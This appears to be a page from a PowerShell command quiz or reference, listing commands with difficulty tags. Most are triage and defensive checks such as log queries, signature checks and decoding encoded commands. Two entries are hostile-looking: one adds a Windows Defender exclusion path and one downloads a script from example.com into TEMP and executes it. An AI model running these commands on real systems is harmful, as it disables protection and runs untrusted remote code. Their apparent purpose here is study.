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[Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($enc))cross-platform · powershell · Nightmare
Decodes a captured -EncodedCommand blob back to readable text and prints it. This is the triage step: it converts bytes to a string, which…
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Get-WinEvent -LogName Security -MaxEvents 50ExpertAdd-MpPreference -ExclusionPath C:\Users\PublicExpertGet-AuthenticodeSignature 'C:\Program Files\App\app.exe' | Format-ListExpertInvoke-WebRequest https://example.com/a.ps1 -OutFile $env:TEMP\a.ps1; & $env:TEMP\a.ps1ExpertGet-ChildItem C:\Users -Include *.ps1 -Recurse -ErrorAction SilentlyContinue | Select-String -Pattern 'Invoke-Expression' | Select-Object Path,LineNumberNightmareGet-ExecutionPolicy -ListIntermediate